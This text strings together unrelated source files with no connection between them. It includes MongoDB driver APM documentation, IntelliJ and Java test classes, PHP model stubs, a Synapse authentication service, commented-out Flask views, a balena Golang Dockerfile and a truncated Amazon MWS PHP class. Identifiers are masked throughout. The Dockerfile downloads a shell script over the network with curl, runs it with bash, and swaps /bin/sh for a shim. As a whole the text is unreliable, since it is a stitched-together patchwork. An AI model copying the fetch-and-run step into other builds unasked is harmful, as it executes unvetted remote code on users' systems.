&quot;_id&quot;: &quot;<API key>&quot;, &quot;a&quot;: 1 } ] } { &quot;command&quot;: { &quot;getMore&quot;: &quot;104961726686&quot;, &quot;collection&quot;: &quot;apm_test_2&quot;, &quot;batchSize&quot;: 2, &quot;maxTimeMS&quot;: 5000 }, &quot;databaseName&quot;: &quot;integration_tests&quot;, &quot;commandName&quot;: &quot;getMore&quot;, &quot;requestId&quot;: 45, &quot;operationId&quot;: 39, &quot;connectionId&quot;: { &quot;id&quot;: 19, &quot;host&quot;: &quot;localhost&quot;, &quot;port&quot;: 27017 } } { &quot;duration&quot;: 0, &quot;commandName&quot;: &quot;getMore&quot;, &quot;requestId&quot;: 45, &quot;operationId&quot;: 39, &quot;connectionId&quot;: { &quot;id&quot;: 19, &quot;host&quot;: &quot;localhost&quot;, &quot;port&quot;: 27017 }, &quot;reply&quot;: [ { &quot;_id&quot;: &quot;<API key>&quot;, &quot;a&quot;: 1 } ] } </code></pre> <p><strong>Note:</strong> all the documents share the same <code>operationId</code>, allowing the APM API user to correctly map the low level commands to the logical command executed by the user (in this case <code>toArray</code> on a cursor).</p> <h3 id="<API key>"><API key></h3> <p>The <code><API key></code> option allows the API user to pass in a custom <code>operationId</code> generator object. You can use this object to synchronize internal request IDs in the APM client with the low-level command monitoring API. This synchronization makes it possible to associate the logical method called by the user&rsquo;s code with the low-level commands issued to MongoDB. This allows for a richer APM experience and performance breakdown. Below is a simple <code><API key></code> example.</p> <pre><code class="language-js">const generator = { operationId: 1, next: function() { return this.operationId++; } }; </code></pre> <h3 id="timestampgenerator">timestampGenerator</h3> <p>The <code>timestampGenerator</code> option lets the API user to override the method used to timestamp the command monitoring events with a custom timestamp type. The generator contains two methods. <code>current</code> returns the current timestamp<code>and</code>duration<code>calculates the total operation duration between the</code>start<code>and</code>end` time. Below is a simple generator example.</p> <pre><code class="language-js">const generator = { current: function() { return new Date().getTime(); }, duration: function(start, end) { return end - start; } } </code></pre> <h2 id="instrumentation">Instrumentation</h2> <p>The <code>instrumentation</code> callback returns the instrumentation points in the driver and associated metadata. In the following example, the result shown is the result from performing <code>JSON.stringify</code>.</p> <pre><code class="language-js">{ &quot;name&quot;: &quot;Gridstore&quot;, &quot;stream&quot;: true, &quot;instrumentations&quot;: [ { &quot;methods&quot;: [ &quot;open&quot;, &quot;getc&quot;, &quot;puts&quot;, &quot;write&quot;, &quot;writeFile&quot;, &quot;close&quot;, &quot;unlink&quot;, &quot;readlines&quot;, &quot;rewind&quot;, &quot;read&quot;, &quot;tell&quot;, &quot;seek&quot; ], &quot;options&quot;: { &quot;callback&quot;: true, &quot;promise&quot;: true } }, { &quot;methods&quot;: [ &quot;eof&quot; ], &quot;options&quot;: { &quot;callback&quot;: false, &quot;promise&quot;: false, &quot;returns&quot;: [ null ] } }, { &quot;methods&quot;: [ &quot;stream&quot; ], &quot;options&quot;: { &quot;callback&quot;: false, &quot;promise&quot;: false, &quot;returns&quot;: [ null ] } }, { &quot;methods&quot;: [ &quot;destroy&quot; ], &quot;options&quot;: { &quot;callback&quot;: false, &quot;promise&quot;: false } }, { &quot;methods&quot;: [ &quot;chunkCollection&quot;, &quot;collection&quot; ], &quot;options&quot;: { &quot;callback&quot;: true, &quot;promise&quot;: false, &quot;returns&quot;: [ null ] } }, { &quot;methods&quot;: [ &quot;exist&quot;, &quot;list&quot;, &quot;read&quot;, &quot;readlines&quot;, &quot;unlink&quot; ], &quot;options&quot;: { &quot;callback&quot;: true, &quot;promise&quot;: true, &quot;static&quot;: true } } ] } </code></pre> <ul> <li><code>name</code> the name of the class exposed for instrumentation.</li> <li><code>stream</code> tells the user if the object can operate as a Node.js stream.</li> <li><code>instrumentations</code> an array which contains all the methods available for instrumentation. The methods are grouped by method characteristics. All methods that support a callback as well as a promise will be grouped in a single instrumentation. This simplifies the code to perform the actual instrumentation.</li> </ul> <pre><code class="language-js">{ &quot;methods&quot;: [ &quot;open&quot;, &quot;getc&quot;, &quot;puts&quot;, &quot;write&quot;, &quot;writeFile&quot;, &quot;close&quot;, &quot;unlink&quot;, &quot;readlines&quot;, &quot;rewind&quot;, &quot;read&quot;, &quot;tell&quot;, &quot;seek&quot; ], &quot;options&quot;: { &quot;callback&quot;: true, &quot;promise&quot;: true } } </code></pre> <p>The <code>methods</code> array contains all the methods that have the options <code>callback=true</code> and <code>promise=true</code> for the GridStore prototype. The available options are:</p> <table> <thead> <tr> <th>Options</th> <th align="left">Description</th> </tr> </thead> <tbody> <tr> <td>callback</td> <td align="left">The method supports a callback</td> </tr> <tr> <td>promise</td> <td align="left">The method can return a promise</td> </tr> <tr> <td>static</td> <td align="left">The method is a static method (not on the prototype)</td> </tr> <tr> <td>returns</td> <td align="left">The method can return one of the types in the array</td> </tr> </tbody> </table> <p>Below is a very basic instrumentation example.</p> <pre><code class="language-js">const listener = require('../..').instrument(function(err, instrumentations) { instrumentations.forEach(function(obj) { const object = obj.obj; // Iterate over all the methods that are just callback with no return obj.instrumentations.forEach(function(instr) { const options = instr.options; if(options.callback &amp;&amp; !options.returns &amp;&amp; !options.static) { // Method name instr.methods.forEach(function(method) { function applyMethod(_method) { const func = object.prototype[_method]; overrides.push({ obj: object.prototype, method: _method, func: func }); object.prototype[_method] = function() { if(!methodsCalled[_method]) methodsCalled[_method] = 0; methodsCalled[_method] = methodsCalled[_method] + 1; const args = Array.prototype.slice.call(arguments, 0); func.apply(this, args); } } applyMethod(method); }); } }); }); }); </code></pre> <p>This instrumentation only overrides methods that have callbacks and ignores promises, so it&rsquo;s not a complete solution, but shows how an API user can structure code to tap into the exposed surface of the driver.</p> <div id="btnv"> <div class="pull-left"> <a class="navigation prev" href="/node-mongodb-native/3.1/reference/management/logging/"> <i class="fa fa-long-arrow-left"> </i> Logging </a> </div> <div class="pull-right"> <a class="navigation next" href="/node-mongodb-native/3.1/reference/management/sdam-monitoring/"> Topology Monitoring <i class="fa fa-long-arrow-right"> </i> </a> </div> </div> </div> <div class="right-column"> <div class="wrapper"> <div class="toc"> <span class="toc-header">On this page</span> <nav id="TableOfContents"> <ul> <li><a href="#apm">APM</a> <ul> <li><a href="#api">API</a></li> <li><a href="#command-monitoring">Command Monitoring</a> <ul> <li><a href="#<API key>"><API key></a></li> <li><a href="#timestampgenerator">timestampGenerator</a></li> </ul></li> <li><a href="#instrumentation">Instrumentation</a></li> </ul></li> </ul> </nav> </div> </div> </div> </div> </div> </div> </section> </section> </section> <script type="text/javascript"> var <API key> = { URL_ROOT: "/node-mongodb-native/3.1", VERSION: "3.1", COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: true }; </script> <script type="text/javascript" src="/node-mongodb-native/3.1/js/jquery.js"></script> <script type="text/javascript" src="/node-mongodb-native/3.1/lib/bootstrap.js"></script> <script type="text/javascript" src="/node-mongodb-native/3.1/js/navbar.js"></script> <script type="text/javascript" src="/node-mongodb-native/3.1/lib/highlight/highlight.pack.js"></script> <script type="text/javascript" src="/node-mongodb-native/3.1/js/scripts.js"></script> <script type="text/javascript" src="/node-mongodb-native/3.1/lib/bootstrap-toggle/bootstrap-toggle.min.js"></script> <script type="text/javascript" src="/node-mongodb-native/3.1/js/java.js"></script> <script type="text/javascript" src="/node-mongodb-native/3.1/js/toggle-switch.js"></script> <script> (function(i,s,o,g,r,a,m){i['<API key>']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.<API key>(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script',' ga('create', 'UA-29229787-1', 'auto'); ga('send', 'pageview'); </script> </body> </html>
package com.intellij.ide.plugins.newui; import com.intellij.ide.IdeBundle; import com.intellij.ui.JBColor; import com.intellij.util.ui.JBUI; import org.jetbrains.annotations.Nls; import org.jetbrains.annotations.NotNull; import java.awt.*; /** * @author Alexander Lobas */ public class TagComponent extends LinkComponent { private static final Color BACKGROUND = JBColor.namedColor("Plugins.tagBackground", new JBColor(0xEAEAEC, 0x4D4D4D)); private static final Color EAP_BACKGROUND = JBColor.namedColor("Plugins.eapTagBackground", new JBColor(0xF2D2CF, 0xF2D2CF)); private static final Color PAID_BACKGROUND = JBColor.namedColor("Plugins.paidTagBackground", new JBColor(0xD8EDF8, 0x3E505C)); private static final Color TRIAL_BACKGROUND = JBColor.namedColor("Plugins.trialTagBackground", new JBColor(0xDBE8DD, 0x345574E)); private static final Color FOREGROUND = JBColor.namedColor("Plugins.tagForeground", new JBColor(0x787878, 0x999999)); private Color myColor; public TagComponent() { setForeground(FOREGROUND); setPaintUnderline(false); setOpaque(false); setBorder(JBUI.Borders.empty(1, 8)); } public TagComponent(@NotNull @Nls String name) { this(); setText(name); } @Override public void setText(@NotNull @Nls String name) { String tooltip = null; myColor = BACKGROUND; if (Tags.EAP.name().equals(name)) { myColor = EAP_BACKGROUND; tooltip = IdeBundle.message("tooltip.eap.plugin.version"); } else if (Tags.Trial.name().equals(name) || Tags.Purchased.name().equals(name)) { myColor = TRIAL_BACKGROUND; } else if (Tags.Paid.name().equals(name) || Tags.Freemium.name().equals(name)) { myColor = PAID_BACKGROUND; tooltip = IdeBundle.message("tooltip.paid.plugin"); } super.setText(name); setToolTipText(tooltip); } @Override protected void paintComponent(Graphics g) { //noinspection UseJBColor g.setColor(myUnderline ? new Color(myColor.getRed(), myColor.getGreen(), myColor.getBlue(), 178) : myColor); g.fillRect(0, 0, getWidth(), getHeight()); super.paintComponent(g); } @Override protected boolean isInClickableArea(Point pt) { return true; } }
package com.unitvectory.shak.jarvis.model; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertNull; import static org.junit.Assert.assertTrue; import org.junit.Test; import com.unitvectory.shak.jarvis.util.ResourceHelper; /** * Tests the SmartThingsPublish class * * @author Jared Hatfield * */ public class <API key> { /** * Test the parser being given a null value */ @Test public void testNullStringParse() { JsonPublishRequest myRequest = null; SmartThingsPublish smart = new SmartThingsPublish(myRequest); assertNotNull(smart); assertNull(smart.getPublish()); assertNull(smart.getAuth()); assertNull(smart.getDate()); assertNull(smart.getDescription()); assertNull(smart.getDescriptionText()); assertNull(smart.getDeviceId()); assertNull(smart.getHubId()); assertNull(smart.getId()); assertNull(smart.getLocationId()); assertNull(smart.getName()); assertNull(smart.getSource()); assertNull(smart.getUnit()); assertNull(smart.getValue()); } /** * Test the parser when things go perfectly. */ @Test public void testValidParse() { // Load the test JSON String json = ResourceHelper.load("/messagebody.json"); assertNotNull(json); assertTrue(json.length() > 0); // Create the object JsonPublishRequest request = new JsonPublishRequest(json); assertNotNull(request); assertTrue(request.isValid()); assertNotNull(request.getData()); // Create the SmartThingsPublish SmartThingsPublish smart = new SmartThingsPublish(request); assertNotNull(smart); assertEquals("foobar", smart.getAuth()); assertEquals("2013-12-30T16:03:08.224Z", smart.getDate()); assertEquals( "raw:08EF170A59FF, dni:08EF, battery:17, batteryDivisor:0A, rssi:59, lqi:FF", smart.getDescription()); assertEquals("Sensor was -39 dBm", smart.getDescriptionText()); assertEquals("<API key>", smart.getDeviceId()); assertEquals("<API key>", smart.getHubId()); assertEquals("<API key>", smart.getId()); assertEquals("<API key>", smart.getLocationId()); assertEquals("rssi", smart.getName()); assertEquals("DEVICE", smart.getSource()); assertEquals("dBm", smart.getUnit()); assertEquals("-39", smart.getValue()); } }
# <API key> ## Properties Name | Type | Description | Notes **count** | **Long** | | [optional] **data** | [**ExportDataArray**](ExportDataArray.md) | | [optional] **offset** | **Long** | | [optional] **total** | **Long** | | [optional]
<!DOCTYPE HTML PUBLIC "- <!--NewPage <HTML> <HEAD> <!-- Generated by javadoc (build 1.6.0_31) on Mon Oct 01 00:28:16 PDT 2012 --> <TITLE> org.apache.hadoop.metrics.file (Hadoop 1.0.3.16 API) </TITLE> <META NAME="date" CONTENT="2012-10-01"> <LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../../stylesheet.css" TITLE="Style"> </HEAD> <BODY BGCOLOR="white"> <FONT size="+1" CLASS="FrameTitleFont"> <A HREF="../../../../../org/apache/hadoop/metrics/file/package-summary.html" target="classFrame">org.apache.hadoop.metrics.file</A></FONT> <TABLE BORDER="0" WIDTH="100%" SUMMARY=""> <TR> <TD NOWRAP><FONT size="+1" CLASS="FrameHeadingFont"> Classes</FONT>&nbsp; <FONT CLASS="FrameItemFont"> <BR> <A HREF="FileContext.html" title="class in org.apache.hadoop.metrics.file" target="classFrame">FileContext</A></FONT></TD> </TR> </TABLE> </BODY> </HTML>
<?php /** * Skeleton subclass for representing a row from the 'data2010' table. * * * * You should add additional methods to this class to meet the * application requirements. This class will only be generated as * long as it does not already exist in the output directory. * * @package propel.generator.fbapp */ class Data2010 extends BaseData2010 { }
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.11 // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2015.08.19 at 01:05:06 PM PDT package com.google.api.ads.adwords.lib.jaxb.v201509; import javax.xml.bind.annotation.XmlEnum; import javax.xml.bind.annotation.XmlType; @XmlType(name = "SortOrder") @XmlEnum public enum SortOrder { ASCENDING, DESCENDING; public String value() { return name(); } public static SortOrder fromValue(String v) { return valueOf(v); } }
package ru.job4j; import org.junit.Test; import java.util.*; public class <API key> { @Test public void add() { TestTimeCollection methods = new TestTimeCollection(); List<String> linkedList = new LinkedList<String>(); long timeStart = new Date().getTime(); long timeEnd = methods.add(linkedList, 1000000); System.out.println(timeEnd - timeStart); List<String> arrayList = new ArrayList<String>(); timeStart = new Date().getTime(); timeEnd = methods.add(arrayList, 1000000); System.out.println(timeEnd - timeStart); Set<String> treeSet = new TreeSet<String>(); timeStart = new Date().getTime(); timeEnd = methods.add(treeSet, 1000000); System.out.println(timeEnd - timeStart); } @Test public void delete() { TestTimeCollection methods = new TestTimeCollection(); List<String> linkedList = new LinkedList<String>(); methods.add(linkedList, 100000); long timeStart = new Date().getTime(); long timeEnd = methods.delete(linkedList, 10000); System.out.println(timeEnd - timeStart); List<String> arrayList = new ArrayList<String>(); methods.add(arrayList, 100000); timeStart = new Date().getTime(); timeEnd = methods.delete(arrayList, 10000); System.out.println(timeEnd - timeStart); Set<String> treeSet = new TreeSet<String>(); methods.add(treeSet, 100000); timeStart = new Date().getTime(); timeEnd = methods.delete(treeSet, 10000); System.out.println(timeEnd - timeStart); } }
package tinymonkeys.vue; import java.awt.Color; import java.awt.Graphics; import javax.swing.JPanel; /** * Classe du panneau de la carte. * * @version 1.0 * @author Camille Constant * */ public class VueCarte extends JPanel { private static final long serialVersionUID = <API key>; private static final double RAPPORT_ECRAN = 0.75; private static final int DIVISEUR_MILIEU = 2; private static final int DIVISEUR_QUART = 4; private static final Color OCEAN = new Color(0, 120, 220); /** * Taille de la case en nombre de pixels. */ private int tailleCase; private int xGrille; private int yGrille; /** * Largeur de l'ecran en nombre de pixels. */ private final int largeurEcran; /** * Hauteur de l'ecran en nombre de pixels. */ private final int hauteurEcran; /** * Largeur de la grille en nombre de cases. */ private int largeurGrille; /** * Hauteur de la grille en nombre de cases. */ private int hauteurGrille; /** * La carte. */ private int[][] carte; /** * Constructeur de la vue de la carte. * * @param largeurEcran largeur de l'ecran en nombre de pixels. * @param hauteurEcran hauteur de l'ecran en nombre de pixels. * @param carte la carte a dessiner */ public VueCarte(int largeurEcran, int hauteurEcran, int[][] carte) { super(); this.largeurEcran = largeurEcran; this.hauteurEcran = hauteurEcran; this.largeurGrille = carte.length; this.hauteurGrille = carte[0].length; this.copieCarte(carte); this.placementGrille(); this.setBounds(this.xGrille, this.yGrille, this.largeurGrille * this.tailleCase + 1, this.hauteurGrille * this.tailleCase + 1); this.setOpaque(false); } /** * Dessine la carte de l'ile avec la grille. * * @param g le graphique dans lequel dessiner. */ public final void paintComponent(Graphics g) { super.paintComponent(g); this.dessineIle(g); this.dessineGrille(g); } private void placementGrille() { final int diviseurLargeur; final int diviseurHauteur; final int largeurCase = (int) ((this.largeurEcran * RAPPORT_ECRAN) / this.largeurGrille); final int hauteurCase = (int) ((this.hauteurEcran * RAPPORT_ECRAN) / this.hauteurGrille); if (largeurCase < hauteurCase) { this.tailleCase = largeurCase; diviseurLargeur = DIVISEUR_QUART; diviseurHauteur = DIVISEUR_MILIEU; } else { this.tailleCase = hauteurCase; diviseurLargeur = DIVISEUR_MILIEU; diviseurHauteur = DIVISEUR_QUART; } this.xGrille = (int) ((this.largeurEcran - (this.tailleCase * this.largeurGrille)) / diviseurLargeur); this.yGrille = (int) ((this.hauteurEcran - (this.tailleCase * this.hauteurGrille)) / diviseurHauteur); } /** * Dessine la grille. * * @param g le graphique dans lequel dessiner. */ public void dessineGrille(Graphics g) { // La grille apparait en noir. g.setColor(Color.BLACK); // colonnes for (int i = 0; i <= (this.tailleCase * this.largeurGrille); i += this.tailleCase) { g.drawLine(i, 0, i, this.tailleCase * this.hauteurGrille); } // lignes for (int j = 0; j <= this.tailleCase * this.hauteurGrille; j += this.tailleCase) { g.drawLine(0, j, this.tailleCase * this.largeurGrille, j); } } /** * Dessine l'ile. * * @param g le graphique dans lequel dessiner. */ public final void dessineIle(Graphics g) { int i = -1; while (++i < this.largeurGrille) { int j = -1; while (++j < this.hauteurGrille) { // Si la case est de type mer. if (this.carte[i][j] == 0) { g.setColor(OCEAN); g.fillRect(i * this.tailleCase, j * this.tailleCase, this.tailleCase, this.tailleCase); } // Coloration inutile pour les cases terre. } } } /** * Modifie la carte de l'ile. * * @param carte la nouvelle carte. */ public final void setVueCarte(int[][] carte) { this.largeurGrille = carte.length; this.hauteurGrille = carte[0].length; this.copieCarte(carte); this.placementGrille(); this.setBounds(this.xGrille, this.yGrille, this.largeurGrille * this.tailleCase + 1, this.hauteurGrille * this.tailleCase + 1); this.setOpaque(false); } /** * Accesseur en lecture de la taille d'une case. * * @return la taille d'une case. */ public final int getTailleCase() { return this.tailleCase; } /** * Accesseur en lecture de l'abscisse de la grille. * * @return l'abscisse de la grille. */ public final int getXGrille() { return this.xGrille; } /** * Accesseur en lecture de l'ordonnee de la grille. * * @return l'ordonnee de la grille. */ public final int getYGrille() { return this.yGrille; } /** * Recopie de la carte dans l'attribut carte. * * @param carte la carte a copier. */ private void copieCarte(int[][] carte) { this.carte = new int[carte.length][carte[0].length]; int i = -1; while (++i < carte.length) { int j = -1; while(++j < carte[0].length) { this.carte[i][j] = carte[i][j]; } } } }
package org.sagebionetworks.auth.services; import org.sagebionetworks.repo.manager.<API key>; import org.sagebionetworks.repo.manager.MessageManager; import org.sagebionetworks.repo.manager.UserManager; import org.sagebionetworks.repo.manager.authentication.<API key>; import org.sagebionetworks.repo.manager.oauth.AliasAndType; import org.sagebionetworks.repo.manager.oauth.OAuthManager; import org.sagebionetworks.repo.manager.oauth.<API key>; import org.sagebionetworks.repo.model.AuthorizationUtils; import org.sagebionetworks.repo.model.<API key>; import org.sagebionetworks.repo.model.UserInfo; import org.sagebionetworks.repo.model.auth.AccessToken; import org.sagebionetworks.repo.model.auth.Access<API key>; import org.sagebionetworks.repo.model.auth.Access<API key>; import org.sagebionetworks.repo.model.auth.AccessTokenRecord; import org.sagebionetworks.repo.model.auth.<API key>; import org.sagebionetworks.repo.model.auth.AuthenticatedOn; import org.sagebionetworks.repo.model.auth.<API key>; import org.sagebionetworks.repo.model.auth.LoginRequest; import org.sagebionetworks.repo.model.auth.LoginResponse; import org.sagebionetworks.repo.model.auth.NewUser; import org.sagebionetworks.repo.model.auth.<API key>; import org.sagebionetworks.repo.model.oauth.O<API key>; import org.sagebionetworks.repo.model.oauth.OAuthProvider; import org.sagebionetworks.repo.model.oauth.OAuthUrlRequest; import org.sagebionetworks.repo.model.oauth.OAuthUrlResponse; import org.sagebionetworks.repo.model.oauth.O<API key>; import org.sagebionetworks.repo.model.oauth.ProvidedUserInfo; import org.sagebionetworks.repo.model.principal.AliasType; import org.sagebionetworks.repo.model.principal.PrincipalAlias; import org.sagebionetworks.repo.transactions.WriteTransaction; import org.sagebionetworks.repo.web.NotFoundException; import org.sagebionetworks.util.ValidateArgument; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @Service public class <API key> implements <API key> { @Autowired private UserManager userManager; @Autowired private <API key> authManager; @Autowired private OAuthManager oauthManager; @Autowired private <API key> oidcManager; @Autowired private MessageManager messageManager; @Autowired private <API key> <API key>; @WriteTransaction @Override public void changePassword(<API key> request) throws NotFoundException { final long userId = authManager.changePassword(request); messageManager.send<API key>(userId); } @Override @WriteTransaction public void signTermsOfUse(AccessToken accessToken) throws NotFoundException { ValidateArgument.required(accessToken, "Access token"); ValidateArgument.required(accessToken.getAccessToken(), "Access token contents"); Long principalId = Long.parseLong(oidcManager.validateAccessToken(accessToken.getAccessToken())); // Save the state of acceptance authManager.<API key>(principalId, true); } @Override public String getSecretKey(Long principalId) throws NotFoundException { return authManager.getSecretKey(principalId); } @Override @WriteTransaction public void deleteSecretKey(Long principalId) throws NotFoundException { authManager.changeSecretKey(principalId); } @Override public boolean <API key>(Long userId) throws NotFoundException { return authManager.<API key>(userId); } @Override public void <API key>(String <API key>, String usernameOrEmail) { try { PrincipalAlias principalAlias = userManager.<API key>(usernameOrEmail); <API key> passwordRestToken = authManager.<API key>(principalAlias.getPrincipalId()); messageManager.<API key>(<API key>, passwordRestToken, principalAlias); } catch (NotFoundException e) { // should not indicate that a email/user could not be found } } @Override public OAuthUrlResponse getO<API key>(OAuthUrlRequest request) { String url = oauthManager.getAuthorizationUrl(request.getProvider(), request.getRedirectUrl(), request.getState()); OAuthUrlResponse response = new OAuthUrlResponse(); response.setAuthorizationUrl(url); return response; } @Override public LoginResponse validateO<API key>( O<API key> request, String tokenIssuer) throws NotFoundException { // Use the authentication code to lookup the user's information. ProvidedUserInfo providedInfo = oauthManager.<API key>( request.getProvider(), request.<API key>(), request.getRedirectUrl()); if(providedInfo.<API key>() == null){ throw new <API key>("OAuthProvider: "+request.getProvider().name()+" did not provide a user email"); } // This is the ID of the user within the provider's system. PrincipalAlias emailAlias = userManager.<API key>(providedInfo.<API key>()); // Return the user's access token return authManager.<API key>(emailAlias.getPrincipalId(), tokenIssuer); } @WriteTransaction public LoginResponse <API key>(O<API key> request, String tokenIssuer) { // Use the authentication code to lookup the user's information. ProvidedUserInfo providedInfo = oauthManager.<API key>( request.getProvider(), request.<API key>(), request.getRedirectUrl()); if(providedInfo.<API key>() == null){ throw new <API key>("OAuthProvider: "+request.getProvider().name()+" did not provide a user email"); } // create account with the returned user info. NewUser newUser = new NewUser(); newUser.setEmail(providedInfo.<API key>()); newUser.setFirstName(providedInfo.getFirstName()); newUser.setLastName(providedInfo.getLastName()); newUser.setUserName(request.getUserName()); long newPrincipalId = userManager.createUser(newUser); return authManager.<API key>(newPrincipalId, tokenIssuer); } @Override public PrincipalAlias bindExternalID(Long userId, O<API key> validationRequest) { if (AuthorizationUtils.isUserAnonymous(userId)) throw new <API key>("User ID is required."); AliasAndType providersUserId = oauthManager.retrieveProvidersId( validationRequest.getProvider(), validationRequest.<API key>(), validationRequest.getRedirectUrl()); // now bind the ID to the user account return userManager.bindAlias(providersUserId.getAlias(), providersUserId.getType(), userId); } @Override public void unbindExternalID(Long userId, OAuthProvider provider, String aliasName) { if (AuthorizationUtils.isUserAnonymous(userId)) throw new <API key>("User ID is required."); AliasType aliasType = oauthManager.<API key>(provider); userManager.unbindAlias(aliasName, aliasType, userId); } @Override public LoginResponse login(LoginRequest request, String tokenIssuer) { return authManager.login(request, tokenIssuer); } @Override public AuthenticatedOn getAuthenticatedOn(long userId) { UserInfo userInfo = userManager.getUserInfo(userId); return authManager.getAuthenticatedOn(userInfo); } @Override public PrincipalAlias <API key>(String alias) { return userManager.<API key>(alias); } @Override public Access<API key> <API key>(Long userId, String accessToken, Access<API key> request, String oauthEndpoint) { UserInfo userInfo = userManager.getUserInfo(userId); return <API key>.issueToken(userInfo, accessToken, request, oauthEndpoint); } @Override public <API key> <API key>(Long userId, String nextPageToken) { UserInfo userInfo = userManager.getUserInfo(userId); return <API key>.getTokenRecords(userInfo, nextPageToken); } @Override public AccessTokenRecord <API key>(Long userId, Long tokenId) { UserInfo userInfo = userManager.getUserInfo(userId); return <API key>.getTokenRecord(userInfo, tokenId.toString()); } @Override public void <API key>(Long userId, Long tokenId) { UserInfo userInfo = userManager.getUserInfo(userId); <API key>.revokeToken(userInfo, tokenId.toString()); } }
<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateTypeBuysTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('type_buys', function(Blueprint $table) { $table->increments('id'); $table->string('description'); $table->timestamps(); $table->softDeletes(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('type_buys'); } }
# AUTOGENERATED FILE FROM balenalib/<API key>:edge-run ENV GO_VERSION 1.16 # set up nsswitch.conf for Go's "netgo" implementation # - docker run --rm debian:stretch grep '^hosts:' /etc/nsswitch.conf RUN [ ! -e /etc/nsswitch.conf ] && echo 'hosts: files dns' > /etc/nsswitch.conf # gcc for cgo RUN apk add --no-cache git gcc ca-certificates RUN fetchDeps='curl' \ && set -x \ && apk add --no-cache $fetchDeps \ && mkdir -p /usr/local/go \ && curl -SLO "http://resin-packages.s3.amazonaws.com/golang/v$GO_VERSION/go$GO_VERSION.<API key>.tar.gz" \ && echo "<SHA256-like> go$GO_VERSION.<API key>.tar.gz" | sha256sum -c - \ && tar -xzf "go$GO_VERSION.<API key>.tar.gz" -C /usr/local/go --strip-components=1 \ && rm -f go$GO_VERSION.<API key>.tar.gz ENV GOROOT /usr/local/go ENV GOPATH /go ENV PATH $GOPATH/bin:/usr/local/go/bin:$PATH RUN mkdir -p "$GOPATH/src" "$GOPATH/bin" && chmod -R 777 "$GOPATH" WORKDIR $GOPATH CMD ["echo","'No CMD command was set in Dockerfile! Details about CMD command could be found in Dockerfile Guide section in our Docs. Here's the link: https://balena.io/docs"] RUN curl -SLO "https://raw.githubusercontent.com/balena-io-library/base-images/<SHA1-like>/scripts/assets/tests/test-stack@golang.sh" \ && echo "Running test-stack@golang" \ && chmod +x test-stack@golang.sh \ && bash test-stack@golang.sh \ && rm -rf test-stack@golang.sh RUN [ ! -d /.balena/messages ] && mkdir -p /.balena/messages; echo $'Here are a few details about this Docker image (For more information please visit https: RUN echo $'#!/bin/bash\nbalena-info\nbusybox ln -sf /bin/busybox /bin/sh\n/bin/sh "$@"' > /bin/sh-shim \ && chmod +x /bin/sh-shim \ && ln -f /bin/sh /bin/sh.real \ && ln -f /bin/sh-shim /bin/sh
# automate/server/user/views.py #from flask import render_template, Blueprint, url_for, \ # redirect, flash, request #from flask_login import login_user, logout_user, login_required #from automate.server import bcrypt, db #from automate.server import db #from automate.server.models import User #from automate.server.user.forms import LoginForm, RegisterForm #user_blueprint = Blueprint('user', __name__,) #@user_blueprint.route('/register', methods=['GET', 'POST']) #def register(): # form = RegisterForm(request.form) # if form.validate_on_submit(): # user = User( # email=form.email.data, # password=form.password.data # db.session.add(user) # db.session.commit() # login_user(user) # flash('Thank you for registering.', 'success') # return redirect(url_for("user.members")) # return render_template('user/register.html', form=form) #@user_blueprint.route('/login', methods=['GET', 'POST']) #def login(): # form = LoginForm(request.form) # if form.validate_on_submit(): # user = User.query.filter_by(email=form.email.data).first() # if user: # #if user and bcrypt.check_password_hash( # # user.password, request.form['password']): # # login_user(user) # flash('You are logged in. Welcome!', 'success') # return redirect(url_for('user.members')) # else: # flash('Invalid email and/or password.', 'danger') # return render_template('user/login.html', form=form) # return render_template('user/login.html', title='Please Login', form=form) #@user_blueprint.route('/logout') #@login_required #def logout(): # logout_user() # flash('You were logged out. Bye!', 'success') # return redirect(url_for('main.home')) #@user_blueprint.route('/members') #@login_required #def members(): # return render_template('user/members.html')
<?php /******************************************************************************* * Marketplace Web Service PHP5 Library * Generated: Thu May 07 13:07:36 PDT 2009 * */ /** * @see <API key> */ require_once '<API key>/Model.php'; /** * <API key>. * * Properties: * <ul> * * <li>Error: <API key></li> * <li>RequestId: string</li> * * </ul> */ class <API key> extends <API key> { /** * Construct new <API key>. * * @param mixed $data DOMElement or Associative Array to construct from. * * Valid properties: * <ul> * * <li>Error: <API key></li> * <li>RequestId: string</li> * * </ul> */ public function __construct($data = null) { $this->fields = array( 'Error' => array('FieldValue' => array(), 'FieldType' => '<API key>'), 'RequestId' => array('FieldValue' => null, 'FieldType' => 'string'), ); parent::__construct($data); } /** * Construct <API key> from XML string. * * @param string $xml XML string to construct from * * @return <API key> */ public static function fromXML($xml) { $dom = new DOMDocument(); $dom->loadXML($xml); $xpath = new DOMXPath($dom); $xpath->registerNamespace('a', 'http://mws.amazonaws.com/doc/2009-01-01/'); $response = $xpath->query('//a:ErrorResponse'); if ($response->length == 1) { return new self(($response->item(0))); } else { throw new Exception('Unable to construct <API key> from provided XML. Make sure that ErrorResponse is a root element'); } } /** * Gets the value of the Error. * * @return array of Error Error */ public function getError() { return $this->fields['Error']['FieldValue']; } /** * Sets the value of the Error. * * @param mixed Error or an array of Error Error * * @return $this instance */ public function setError($error) { if (!$this->_isNumericArray($error)) { $error = array($error); } $this->fields['Error']['FieldValue'] = $error; return $this; } /** * Sets single or multiple values of Error list via variable number of arguments. * For example, to set the list with two elements, simply pass two values as arguments to this function * <code>withError($error1, $error2)</code>. * * @param Error $errorArgs one or more Error * * @return <API key> instance */ public function withError($errorArgs) { foreach (func_get_args() as $error) { $this->fields['Error']['FieldValue'][] = $error; } return $this; } /** * Checks if Error list is non-empty. * * @return bool true if Error list is non-empty */ public function isSetError() { return count($this->fields['Error']['FieldValue']) > 0; } /** * Gets the value of the RequestId property. * * @return string RequestId */ public function getRequestId() { return $this->fields['RequestId']['FieldValue']; } /** * Sets 